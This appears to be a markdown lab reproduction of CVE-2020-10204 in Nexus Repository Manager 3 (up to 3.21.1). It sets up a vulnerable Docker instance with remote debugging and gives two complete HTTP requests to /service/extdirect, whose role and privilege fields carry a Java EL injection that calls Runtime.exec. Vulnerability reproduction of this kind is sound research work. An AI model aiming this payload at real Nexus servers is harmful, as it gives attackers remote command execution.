|
| 1 | +CVE-2020-10204 Nexus Repository Manager 3 |
| 2 | + |
| 3 | +影响版本:<= 3.21.1 |
| 4 | +Affected Versions: All previous Nexus Repository Manager 3.x OSS/Pro versions up to and including 3.21.1 |
| 5 | + |
| 6 | +Fixed in Version: Nexus Repository Manager OSS/Pro version 3.21.2 |
| 7 | + |
| 8 | +### 1. 拉取镜像 |
| 9 | +``` |
| 10 | +docker pull sonatype/nexus3:3.21.1 |
| 11 | +``` |
| 12 | + |
| 13 | +### 2. 创建nexus数据目录 |
| 14 | +``` |
| 15 | +mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data |
| 16 | +``` |
| 17 | + |
| 18 | +### 3. 运行nexus docker镜像 |
| 19 | +``` |
| 20 | +docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.1 |
| 21 | +``` |
| 22 | + |
| 23 | +### 4. github下载源码 & idea远程debug |
| 24 | +``` |
| 25 | +git clone https://github.com/sonatype/nexus-public.git |
| 26 | +git checkout -b release-3.21.0-05 origin/release-3.21.0-05 |
| 27 | +``` |
| 28 | +idea创建远程debug-启动 |
| 29 | +``` |
| 30 | +-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 |
| 31 | +``` |
| 32 | +漏洞点在 org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl 被绕过 |
| 33 | + |
| 34 | +### 5. 登陆任何一个账号 |
| 35 | + |
| 36 | +### 6. 调用更新role接口 |
| 37 | +1. 利用更新用户接口: |
| 38 | +``` |
| 39 | +POST /service/extdirect HTTP/1.1 |
| 40 | +Host: 127.0.0.1:8081 |
| 41 | +Content-Length: 301 |
| 42 | +accept: application/json |
| 43 | +Sec-Fetch-Dest: empty |
| 44 | +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 |
| 45 | +NX-ANTI-CSRF-TOKEN: 0.16936373694860252 |
| 46 | +Content-Type: application/json |
| 47 | +Origin: http://127.0.0.1:8081 |
| 48 | +Sec-Fetch-Site: same-origin |
| 49 | +Sec-Fetch-Mode: cors |
| 50 | +Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS |
| 51 | +Accept-Encoding: gzip, deflate, br |
| 52 | +Accept-Language: zh-CN,zh;q=0.9 |
| 53 | +Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.16936373694860252; NXSESSIONID=4e5437b3-7755-4784-bda6-d004e8f589fb |
| 54 | +Connection: close |
| 55 | +
|
| 56 | +{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"[email protected]","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9} |
| 57 | +``` |
| 58 | + |
| 59 | +2. 利用创建角色接口: |
| 60 | +``` |
| 61 | +POST /service/extdirect HTTP/1.1 |
| 62 | +Host: 127.0.0.1:8081 |
| 63 | +Content-Length: 294 |
| 64 | +accept: application/json |
| 65 | +Sec-Fetch-Dest: empty |
| 66 | +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 |
| 67 | +NX-ANTI-CSRF-TOKEN: 0.856555763510765 |
| 68 | +Content-Type: application/json |
| 69 | +Origin: http://127.0.0.1:8081 |
| 70 | +Sec-Fetch-Site: same-origin |
| 71 | +Sec-Fetch-Mode: cors |
| 72 | +Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS |
| 73 | +Accept-Encoding: gzip, deflate, br |
| 74 | +Accept-Language: zh-CN,zh;q=0.9 |
| 75 | +Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=da418706-f4e4-468e-93ac-de9c46802f11 |
| 76 | +Connection: close |
| 77 | +
|
| 78 | +{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"],"roles":[]}],"type":"rpc","tid":89} |
| 79 | +``` |
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